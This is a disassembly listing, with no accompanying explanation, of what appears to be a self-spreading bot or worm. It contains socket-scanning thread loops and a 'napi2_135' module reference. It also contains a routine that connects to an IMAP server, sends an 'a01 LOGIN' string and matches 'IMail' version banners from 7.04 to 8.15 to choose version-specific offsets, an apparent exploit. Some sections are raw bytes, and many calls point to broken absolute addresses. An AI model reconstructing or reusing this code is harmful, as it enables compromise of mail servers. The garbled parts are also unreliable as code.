; ---------------------------------------------------------------------------


loc_409E99:				; CODE XREF: ___:00409E63j
		push	esi
		call	dword_4453E0
		cmp	word ptr [ebp-100EAh], 1
		jnz	short loc_409EBA
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_410557
		pop	ecx
		push	1
		pop	eax
		jmp	short loc_409EC7
; ---------------------------------------------------------------------------


loc_409EBA:				; CODE XREF: ___:00409EA8j
		push	offset aSocketClosed_ ;	"Socket	closed."


loc_409EBF:				; CODE XREF: ___:00409DF9j
		call	sub_410557
		pop	ecx


loc_409EC5:				; CODE XREF: ___:00409E97j
		xor	eax, eax


loc_409EC7:				; CODE XREF: ___:00409EB8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409ECC	proc near		; DATA XREF: sub_409ECC+34Fo

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26C05FFh
		push	eax
		call	sub_417B00
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_409F13:				; CODE XREF: sub_409ECC+200j
		mov	eax, dword_446214[ebx]
		cmp	dword_4D31C4[eax*8], 0
		jz	loc_40A0D1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_409F3D
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_409BC6
		pop	ecx
		jmp	short loc_409F42
; ---------------------------------------------------------------------------


loc_409F3D:				; CODE XREF: sub_409ECC+60j
		call	sub_409B7E


loc_409F42:				; CODE XREF: sub_409ECC+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_446214[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43E624
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_446010[ebx]
		push	eax
		call	sub_4171D0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_409C62
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40A0C1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40A016
		push	offset dword_4D51C0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43E65C
		push	eax
		call	sub_4171D0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_409FF8
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_409FEC
		lea	eax, [ebp+var_140]


loc_409FEC:				; CODE XREF: sub_409ECC+118j
		push	eax
		push	[ebp+var_40]
		call	sub_401445
		add	esp, 14h


loc_409FF8:				; CODE XREF: sub_409ECC+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_410557
		mov	[esp+29Ch+var_29C], offset dword_4D51C0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40A0C1
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409ECC+CDj
		push	edi
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4171D0
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aNapi2_135_0 ; "napi2_135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4171D0
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40A05A
		lea	eax, [ebp+var_140]


loc_40A05A:				; CODE XREF: sub_409ECC+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4171D0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43DE3C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40A0C1:				; CODE XREF: sub_409ECC+C3j
					; sub_409ECC+145j
		push	7D0h
		nop
		call	near ptr 2690599h
		jmp	loc_409F13
; ---------------------------------------------------------------------------


loc_40A0D1:				; CODE XREF: sub_409ECC+55j
		push	esi
		call	sub_40916F
		pop	ecx
		push	0
		call	near ptr 2700000h
		nop


loc_40A0E0:				; DATA XREF: sub_403038+33F8o
					; sub_403038+47E9o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_445388
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4D31C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4097CE
		push	0Bh
		call	sub_40909B
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40A1AE
		mov	esi, offset dword_4D51C0
		push	esi
		nop
		call	near ptr 2700770h
		push	80000400h
		push	esi
		call	near ptr 2700538h
		nop
		test	eax, eax
		jnz	short loc_40A1AE
		lea	eax, [ebp+var_1CC]
		push	offset unk_43E684
		push	eax
		call	sub_4171D0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40A198
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_401445
		add	esp, 14h


loc_40A198:				; CODE XREF: sub_409ECC+2ADj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_410557
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40A1AE:				; CODE XREF: sub_409ECC+277j
					; sub_409ECC+293j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_4DD2CC
		mov	edi, ebx
		mov	dword_4D31C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40A27B


loc_40A1CC:				; CODE XREF: sub_409ECC+3A9j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43E6B8
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_408E53
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_446214[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_409ECC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_40A246


loc_40A23B:				; CODE XREF: sub_409ECC+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40A26D
		push	1Eh
		call	esi
		jmp	short loc_40A23B
; ---------------------------------------------------------------------------


loc_40A246:				; CODE XREF: sub_409ECC+36Dj
		nop
		call	near ptr 26908EFh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43E6EC
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_410557
		add	esp, 10h


loc_40A26D:				; CODE XREF: sub_409ECC+372j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40A1CC


loc_40A27B:				; CODE XREF: sub_409ECC+2FAj
		cmp	[ebp+var_30], ebx
		jz	loc_40A325
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40A290:				; CODE XREF: sub_409ECC+464j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4D31C0[eax*8]
		push	eax
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43E724
		push	eax
		call	sub_4171D0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40A2DE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_401445
		add	esp, 14h


loc_40A2DE:				; CODE XREF: sub_409ECC+3F3j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_410557
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4D31C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40909B
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40A315
		push	offset dword_4D51C0
		call	near ptr 2700770h
		nop


loc_40A315:				; CODE XREF: sub_409ECC+43Cj
		push	[ebp+var_2C]
		call	sub_40916F
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_40A325:				; CODE XREF: sub_409ECC+3B2j
					; sub_409ECC+471j
		mov	eax, [ebp+var_2C]
		cmp	dword_4D31C4[eax*8], 1
		jnz	loc_40A290
		push	7D0h
		call	esi
		jmp	short loc_40A325
sub_409ECC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A33F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_445348
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4453C8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40A3FD
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4452F0
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_44621C[ecx], esi
		jz	short loc_40A3FD
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4453D4
		push	eax
		mov	edi, offset dword_4D5AE4
		push	offset dword_43E764
		push	edi
		call	sub_4171D0
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_401445
		push	edi
		call	sub_410557
		add	esp, 28h


loc_40A3FD:				; CODE XREF: sub_40A33F+5Dj
					; sub_40A33F+7Ej
		push	esi
		call	dword_4453E0
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40A33F	endp

; ---------------------------------------------------------------------------
dword_40A40C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_403038+4C06o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 0D2CC358Bh, 83C7004Dh, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 53D415FFh,	8D500044h, 0FFFECC85h
		dd 0E78C68FFh, 0E8500043h, 0CD78h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 60100500h, 0E8500044h
		dd 0D2F8h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40A33Fh, 6CE85757h, 90022964h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 5BEDE8FCh, 0FF900226h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0E2E4h, 0FF0CC483h, 15FF0875h, 445270h
		dd 45895040h, 4415FF08h, 89004453h, 458D0845h, 50046A08h
		dd 50E0458Dh, 0E2BBE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40A4FD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_403038+48F9o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 0CC358BA5h, 0C7004DD2h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 0D415FFE4h, 50004453h, 0FED0858Dh, 0B468FFFFh
		dd 500043E7h, 0CC87E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	50004460h, 0D207E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40A33F68h,	0E8575700h
		dd 229637Bh, 89C73B90h,	0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2265AFBh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 0D415FFE4h, 50004453h, 0FED0858Dh, 0E068FFFFh
		dd 500043E7h, 0CBF7E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 6E4FE8FFh, 75FFFFFFh
		dd 0EB71E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-14h], 10h
		call	sub_417B10
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		lea	eax, [ebp+0Ch]
		push	eax
		mov	edi, edx
		add	edi, 7D0h
		mov	[ebp-20h], edi
		call	dword_4453CC
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40A65D
		lea	eax, [ebp+0Ch]
		push	eax
		nop
		call	near ptr 71AB12F8h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4D5CEC, eax
		jz	loc_40ACD2


loc_40A65D:				; CODE XREF: ___:0040A643j
		push	6
		push	1
		push	2
		pop	ebx
		push	ebx
		call	dword_4453C8
		test	eax, eax
		mov	dword_4D5DF4, eax
		jz	loc_40ACD2
		test	esi, esi
		jz	short loc_40A694
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4187B0
		add	esp, 0Ch
		jmp	short loc_40A69C
; ---------------------------------------------------------------------------


loc_40A694:				; CODE XREF: ___:0040A67Aj
		mov	eax, dword_4D5CEC
		mov	[ebp-0Ch], eax


loc_40A69C:				; CODE XREF: ___:0040A692j
		test	esi, esi
		jz	short loc_40A6AA
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_40A6AE
; ---------------------------------------------------------------------------


loc_40A6AA:				; CODE XREF: ___:0040A69Ej
		mov	[ebp-10h], bx


loc_40A6AE:				; CODE XREF: ___:0040A6A8j
		push	dword ptr [ebp+0A8h]
		call	dword_445348
		push	dword ptr [ebp+8]
		mov	[ebp-0Eh], ax
		call	sub_40267D
		pop	ecx
		push	eax
		call	dword_445388
		push	edi
		mov	esi, eax
		call	dword_445348
		movzx	eax, ax
		xor	eax, 7C1Fh
		push	4
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-18h]
		xor	esi, 7C1F1AE0h
		push	eax
		push	offset dword_43E8D4
		mov	[ebp-18h], esi
		call	sub_4187B0
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		push	offset word_43E8DA
		call	sub_4187B0
		push	386h
		mov	edi, offset dword_4D5DF8
		push	90h
		push	edi
		call	sub_417070
		push	0Ch
		push	offset aA01Login ; "a01	LOGIN \"&"
		push	edi
		call	sub_4187B0
		push	138h
		push	offset dword_43E81C
		push	offset dword_4D5EA4
		call	sub_4187B0
		push	2Ah
		push	offset loc_43E9F4
		push	offset dword_4D60C4
		call	sub_4187B0
		add	esp, 48h
		push	0Bh
		push	offset dword_43EA20
		push	offset word_4D617E
		call	sub_4187B0
		add	esp, 0Ch
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4D5DF4
		call	dword_4452F0
		test	eax, eax
		mov	dword_4D5CF0, eax
		jnz	loc_40ACD2
		push	eax
		mov	esi, offset dword_4D5CF4
		push	100h
		push	esi
		push	dword_4D5DF4
		call	dword_445360
		push	offset aImail	; "IMail"
		push	esi
		mov	dword_4D5CE8, eax
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ABA3
		push	offset a7_04	; "7.04"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A7EB
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset loc_43E95C


loc_40A7E1:				; CODE XREF: ___:0040A813j
					; ___:0040A84Ej ...
		push	offset dword_4D60B4
		jmp	loc_40AB0C
; ---------------------------------------------------------------------------


loc_40A7EB:				; CODE XREF: ___:0040A7C8j
		push	offset a7_05	; "7.05"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A815
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E964
		jmp	short loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A815:				; CODE XREF: ___:0040A7FAj
		push	offset a7_06	; "7.06"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A837
		push	offset a7_07	; "7.07"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A850


loc_40A837:				; CODE XREF: ___:0040A824j
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset nullsub_2
		jmp	short loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A850:				; CODE XREF: ___:0040A835j
		push	offset a7_10	; "7.10"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A872
		push	offset a7_11	; "7.11"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A88E


loc_40A872:				; CODE XREF: ___:0040A85Fj
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E974
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A88E:				; CODE XREF: ___:0040A870j
		push	offset a7_12	; "7.12"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A8BB
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E97C
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A8BB:				; CODE XREF: ___:0040A89Dj
		push	offset a7_13	; "7.13"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A8DD
		push	offset a7_14	; "7.14"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A8F9


loc_40A8DD:				; CODE XREF: ___:0040A8CAj
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E984
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A8F9:				; CODE XREF: ___:0040A8DBj
		push	offset a7_15	; "7.15"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A926
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E98C
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A926:				; CODE XREF: ___:0040A908j
		push	offset a8_00	; "8.00"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A953
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E994
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A953:				; CODE XREF: ___:0040A935j
		push	offset a8_01	; "8.01"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A980
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E99C
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A980:				; CODE XREF: ___:0040A962j
		push	offset a8_02	; "8.02"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A9AD
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E9A4
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A9AD:				; CODE XREF: ___:0040A98Fj
		push	offset a8_03	; "8.03"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A9DA
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E9AC
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40A9DA:				; CODE XREF: ___:0040A9BCj
		push	offset a8_04	; "8.04"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AA07
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E9B4
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40AA07:				; CODE XREF: ___:0040A9E9j
		push	offset a8_05	; "8.05"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AA34
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60B2
		call	sub_4187B0
		push	4
		push	offset dword_43E9BC
		jmp	loc_40A7E1
; ---------------------------------------------------------------------------


loc_40AA34:				; CODE XREF: ___:0040AA16j
		push	offset a8_10	; "8.10"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AA61
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60AA
		call	sub_4187B0
		push	4
		push	offset dword_43E9C4
		jmp	loc_40AB07
; ---------------------------------------------------------------------------


loc_40AA61:				; CODE XREF: ___:0040AA43j
		push	offset a8_11	; "8.11"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AA8B
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60AA
		call	sub_4187B0
		push	4
		push	offset dword_43E9CC
		jmp	short loc_40AB07
; ---------------------------------------------------------------------------


loc_40AA8B:				; CODE XREF: ___:0040AA70j
		push	offset a8_12	; "8.12"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AAB5
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60AA
		call	sub_4187B0
		push	4
		push	offset dword_43E9D4
		jmp	short loc_40AB07
; ---------------------------------------------------------------------------


loc_40AAB5:				; CODE XREF: ___:0040AA9Aj
		push	offset a8_13	; "8.13"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AADF
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60AA
		call	sub_4187B0
		push	4
		push	offset dword_43E9DC
		jmp	short loc_40AB07
; ---------------------------------------------------------------------------


loc_40AADF:				; CODE XREF: ___:0040AAC4j
		push	offset a8_14	; "8.14"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AB19
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60AA
		call	sub_4187B0
		push	4
		push	offset dword_43E9E4


loc_40AB07:				; CODE XREF: ___:0040AA5Cj
					; ___:0040AA89j ...
		push	offset dword_4D60AC


loc_40AB0C:				; CODE XREF: ___:0040A7E6j
		call	sub_4187B0
		add	esp, 18h
		jmp	loc_40ABB4
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: ___:0040AAEEj
		push	offset a8_15	; "8.15"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AB43
		push	ebx
		push	offset loc_43E958
		push	offset word_4D60AA
		call	sub_4187B0
		push	4
		push	offset dword_43E9EC
		jmp	short loc_40AB07
; ---------------------------------------------------------------------------


loc_40AB43:				; CODE XREF: ___:0040AB28j
		push	offset aHotfix2	; "hotfix2"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AB5F


loc_40AB54:				; CODE XREF: ___:0040AB6Ej
					; ___:0040AB7Fj ...
		push	dword_4D5DF4
		jmp	loc_40ACCC
; ---------------------------------------------------------------------------


loc_40AB5F:				; CODE XREF: ___:0040AB52j
		push	offset a4_0	; "4.0"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AB54
		push	offset a5_0	; "5.0"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AB54
		push	offset a6_0	; "6.0"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AB54
		push	offset a7_0	; "7.0"
		push	esi
		call	sub_417B50
		pop	ecx
		pop	ecx
		test	eax, eax
		jmp	short loc_40AB54
; ---------------------------------------------------------------------------


loc_40ABA3:				; CODE XREF: ___:0040A7B3j
		push	offset aImail_0	; "IMail"
		push	esi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AB54


loc_40ABB4:				; CODE XREF: ___:0040AB14j
		mov	esi, dword_4DD2CC
		push	64h
		call	esi
		push	0
		push	edi
		call	sub_414BE0
		pop	ecx
		push	eax
		push	edi
		push	dword_4D5DF4
		call	dword_445398
		push	64h
		call	esi
		push	dword ptr [ebp-20h]
		xor	edi, edi
		mov	[ebp-0Ch], edi
		call	dword_445348
		push	6
		push	1
		pop	esi
		mov	[ebp-0Eh], ax
		push	esi
		push	ebx
		call	dword_4453C8
		lea	ecx, [ebp-10h]
		push	10h
		push	ecx
		push	eax
		mov	dword_4D61F8, eax
		call	dword_445374
		cmp	eax, edi
		mov	dword_4D5CF0, eax
		jnz	loc_40ACD2
		push	esi
		push	dword_4D61F8
		call	dword_445370
		cmp	eax, edi
		mov	dword_4D5CF0, eax
		jnz	loc_40ACD2
		mov	eax, dword_4D61F8
		mov	dword ptr [ebp-28h], 8
		mov	[ebp-128h], eax
		lea	eax, [ebp-28h]
		push	eax
		push	edi
		lea	eax, [ebp-12Ch]
		push	edi
		push	eax
		push	esi
		mov	[ebp-24h], edi
		mov	[ebp-12Ch], esi
		nop
		call	near ptr 71AB1890h
		test	eax, eax
		jle	short loc_40ACD2
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	dword_4D61F8
		call	dword_4453DC
		mov	ecx, [ebp+0B0h]
		push	eax
		shl	ecx, 6
		inc	dword_43DE40[ecx]
		sub	esp, 0BCh
		lea	ecx, dword_43DE40[ecx]
		lea	esi, [ebp+8]
		push	2Fh
		mov	dword_4D61FC, eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40ACD9
		add	esp, 0C0h
